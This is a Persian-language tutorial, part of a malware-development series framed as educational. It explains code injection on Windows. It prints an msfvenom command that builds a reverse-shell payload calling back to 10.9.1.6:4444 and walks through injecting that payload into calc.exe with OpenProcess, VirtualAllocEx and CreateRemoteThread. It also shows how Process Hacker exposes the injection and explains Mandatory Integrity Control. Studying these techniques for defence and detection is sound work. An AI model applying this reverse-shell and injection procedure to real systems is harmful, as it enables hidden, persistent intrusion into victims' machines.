در قسمت دوم از مجموعه توسعه بدافزار قرار داریم و این قسمت نیز مثل تمام قسمت های دیگر این مجموعه ، فقط و فقط با اهداف آموزشی و آشنایی با حملات منتشر شده است . مسئولیت هرگونه خرابکاری و جرم بر عهده خودش شخص میباشد .
تزریق کد چیست ؟
تزریق کد (code injection) به سادگی یعنی وادار کردن یک پروسه دیگر به اجرای کد دلخواه ما . به عبارتی طی این فرایند ، یک پروسه (بد افزار) کد دلخواه خود را به پروسه ای دیگر تزریق کرده و موجب اجرای کد توسط پروسه هدف میشود .
این کار مزایای خاصی برای طراحان بدافزار دارد . برای مثال فرض کنید یک payload از طریق یک آسیب پذیری یا یک حمله مهندسی اجتماعی یا … به سیستم هدف منتقل شده و توسط سیستم هدف اجرا شده . اجرای این payload باعث شده است تا یک Reverse Shell در اختیار هکر قرار بگیرد . نکته ای که هست این است که کاربر هدف هر لحظه میتواند به راحتی پروسه مربوط به payload را ببندد (kill) و این باعث از دست رفتن ارتباط هکر به طور کلی میشود . هکر برای جلوگیری از این موضوع میتواند از تکنیک تزریق کد استفاده کند . به این صورت که کد مربوط به payload خود را به یک پروسه ماندگار تر مثل explorer.exe تزریق میکند . این باعث میشود اولا پروسه ای که در حال اجرای payload است ، از دید کاربر مخفی تر شود ، دوما امکان بسته شدن payload بسیار کمتر میشود ( قاعدتا کسی همینطوری پروسه explorer.exe را نمیبندد !! )
آماده سازی یک payload
برای تست و بررسی روی این تکنیک ، یک payload شل معکوس درست میکنیم . برای سادگی بیشتر از msfvenom (زیرمجموعه metasploit) در سیستم عامل کالی لینوکس استفاده میکنیم . برای اینکار دستور زیر را در کالی لینوکس خود اجرا میکنیم :
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.9.1.6 LPORT=4444 -f c
دستور بالا یک payload شل معکوس به صورت آرایه تعریف شده به زبان C به ما تحویل میدهد که آدرس 10.9.1.6 به عنوان IP و ۴۴۴۴ به عنوان پورت مقصد آن مشخص شده . این آدرس IP و پورت جایی است که هکر شنودگر خود را اجرا کرده است .
اجرای payload ساخته شده
برای تست payload یک تکه کد به زبان ++C مینویسیم که payload مارا اجرا کند :
نهایتا evil.exe که نوشتیم را روی سیستم هدف اجرا میکنیم و میبینیم که دسترسی شل معکوس در اختیار سیستم هکر قرار میگیرد :
.\evil.exe
برای تحقیق و بررسی payload از برنامه Process Hacker استفاده میکنیم . Process Hacker یک نرم افزار متن باز است برای بررسی پروسه های در حال اجرا ، میزان مصرف منابع سخت افزاری توسط پروسه ها ، بررسی ارتباطات شبکه ایجاد شده توسط پروسه ها و خیلی قابلیت های بدرد بخور دیگر .
به تب network رجوع میکنیم و میبینیم که پروسه ما با سیستم هکر یعنی آدرس 10.9.1.6 و پورت ۴۴۴۴ ارتباط گرفته است :
تزریق payload به پروسه دیگر
در این مرحله میخواهیم payload که در بخش قبلی ساختیم و اجرا کردیم را به پروسه ای دیگر (مثلا calc.exe) تزریق کنیم تا توسط آن پروسه اجرا شود . فرض کنید payload ما در پروسه evil.exe است و پروسه calc.exe نیز در سیستم در حال اجرا است :
اولین کاری که میکنیم این است که یک حافظه که فضای آن حداقل به اندازه بایت های payload ما هست در پروسه مقصد (calc.exe) رزرو میکنیم :
سپس payload خود را در حافظه رزرو شده در پروسه مقصد کپی میکنیم :
سپس از سیستم عامل درخواست میکنیم تا payload ما که اکنون به سبب مراحل قبلی در حافظه پروسه مقصد است را اجرا کند :
حالا بیایید تا کدی بنویسیم که منطق بالا را پیاده سازی کند . یکی از مشهور ترین راه ها برای این مورد استفاده از توابع زیر است که این توابع در windows api برای اهداف عیب یابی وجود دارند :
ابتدا نیاز داریم تا PID پروسه مقصد را بدانیم . میتوانیم کاری کنیم تا خود کد این را بدست بیاورد ولی برای سادگی کار خودمان دستی به عنوان پارامتر آن را به کد میدهیم . برای رزرو حافظه یا نوشتن در حافظه در پروسه مقصد ، نیاز داریم تا پروسه مقصد را به وسیله تابع OpenProcess از کتابخانه kernel32 باز کنیم و این تابع اگر موفقیت آمیز باشد ، یک handle به پروسه مقصد به ما برمیگرداند . در خط ۴۹ این کار را انجام داده ایم :
دقت کنید در پارامتر اول این فراخوانی مشخص کرده ایم تمام دسترسی ها به این پروسه (اعم از خواندن و نوشتن در حافظه پروسه) را میخواهیم و همچنین در پارامتر سوم PID پروسه مقصد را به آن پاس داده ایم .
بعد از اینکه پروسه مقصد را باز کردیم ، نیاز داریم تا یک محدوده به اندازه بایت های payload در حافظه آن رزرو کنیم . اینکار توسط فراخوانی تابع VirtualAllocEx در خط ۵۲ انجام شده است :
نهایتا در مرحله آخر یک Thread در پروسه مقصد ایجاد میکنیم و حافظه رزرو شده در پروسه مقصد که در مراحل قبلی ساختیم را به عنوان شروع اجرای آن مشخص میکنیم . اینکار توسط فراخوانی تابع CreateRemoteThread در خط ۵۸ انجام شده است :
سپس در ابتدا برنامه calc.exe را به عنوان پروسه مقصد در سیستم هدف اجرا میکنیم و PID آن را در برنامه Process Hacker یا Task Manager ویندوز مشاهده میکنیم :
میبینیم که PID آن ۱۸۴۴ است .
حالا کد تزریق کننده را در سیستم هدف اجرا میکنیم :
.\evil2.exe 1844
همینطور که مشخص شده ، بعد از اجرا به درستی دسترسی به هکر داده شده و همچنین در Task Manager مشاهده میکنیم که پروسه calc.exe یک cmd.exe را اجرا کرده است که این همان شل معکوس است .
بررسی حافظه payload اجرا شده
اگر به بخش Network در Process Hacker مراجعه کنیم میبینیم که پروسه calc.exe یک ارتباط TCP با مقصد 10.9.1.6:4444 گرفته است که این ارتباط برای یک calc.exe عادی اصلا قابل توجیه نیست . این نشان دهنده این است که هم اکنون payload ما توسط calc.exe در حال اجراست !
اگر به تب Memory در پروسه calc.exe مراجعه کنیم متوجه موضوع جالبی میشویم :
در این بخش تمامی buffer هایی که داخل حافظه calc.exe وجود دارد به همراه اطلاعات آن ها مثل Protection مشخص شده . در بخش Protection حرف R به معنای Readable ، حرف W به معنای Writable و حرف X به معنای Executable است . اگر این بخش را بر اساس Protection مرتب سازی کنیم و دنبال بخش های RX حافظه بگردیم میبینیم که DLL فایل هایی که داخل پروسه بارگذاری شده اند داخل حافظه هایی از این نوع (RX) هستند .
اگر دقت کنیم میبینیم که فایل ws2_32.dll که یک DLL برای سوکت نویسی و مدیریت سوکت ها است داخل پروسه calc.exe بارگذاری شده که این اصلا طبیعی نیست چون calc.exe در حالت عادی نیازی به برقراری ارتباط شبکه و سوکت نویسی نخواهد داشت :
مکانیزم امنیتی MIC
نکته ای که هست این است که به راحتی نمیتوان هر پروسه ای را توسط تابع OpenProcess با دسترسی های نوشتن حافظه که قبل تر دیدیم ، باز کرد و دسترسی آن را گرفت . در سیستم عامل ویندوز از نسخه vista به بعد، یک مکانیزم امنیتی به نام Mandatory Integrity Control (MIC) وجود دارد که محدودیت هایی را برای باز کردن یک پروسه ایجاد میکند . جریان به این صورت است که هر پروسه داخل ویندوز یک سطح یکپارچگی (Integrity Level) دارد که یکی از چهار مورد زیر میتواند باشد :
1 – Low Level : پروسه هایی که دسترسی آن ها به اکثر پروسه های دیگر محدود شده است
2 – Medium Level : سطح یکپارچگی پیشفرض برای پروسه هایی که توسط کاربران عادی سیستم اجرا شده اند
3 – High Level : برای پروسه هایی که با دسترسی administrator اجرا شده اند
4 – System Level : بالاترین سطح یکپارچکی است و معمولا مختص سرویس های سیستمی است که در حال اجرا هستند .
هر پروسه حین اجرا سطح یکپارچکی خود را از کاربری که آن را اجرا کرده میگیرد .
برای مثال اگر پروسه بدافزار ما سطح یکپارچگی low را دارد نمیتواند تزریق را به پروسه ای که سطح یکپارچگی high دارد انجام دهد زیرا اجازه ی دسترسی گرفتن به آن پروسه برای نوشتن حافظه را نمیتواند بگیرد .